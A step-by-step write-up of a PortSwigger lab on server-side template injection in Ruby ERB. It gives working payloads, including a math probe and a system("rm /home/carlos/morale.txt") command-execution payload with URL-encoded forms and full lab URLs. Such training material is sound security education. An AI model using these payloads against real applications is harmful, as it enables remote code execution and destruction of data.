PortSwigger

Lab Description
This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template.
Objective: Execute arbitrary code to delete the morale.txt file from Carlos’s home directory.
Step 1: Identify the Injection Point
- In Burp’s browser, access the lab
- Click on a product to view details
- Observe the
messageparameter in the URL:
https://YOUR-LAB-ID.web-security-academy.net/?message=Unfortunately+this+product+is+out+of+stock
The message parameter is rendered directly on the page.
Step 2: Confirm Template Injection
Test payload (mathematical expression):
<%= 7*7 %>
URL-encoded payload:
<%25%3d+7*7+%25>
Full URL:
https://YOUR-LAB-ID.web-security-academy.net/?message=<%25%3d+7*7+%25>
Result: The number 49 appears on the page instead of the message.

Template injection confirmed!
Checking Payload

Checking Payload

Checking Payload

Step 3: Execute System Command
Payload to delete the file:
<%= system("rm /home/carlos/morale.txt") %>
URL-encoded payload:
<%25+system("rm+/home/carlos/morale.txt")+%25>
Full URL:
https://YOUR-LAB-ID.web-security-academy.net/?message=<%25+system("rm+/home/carlos/morale.txt")+%25>
Step 4: Send the Request
- Load the URL in Burp’s browser
- The command executes in the background
- The file
/home/carlos/morale.txtis deleted
Step 5: Lab Solved
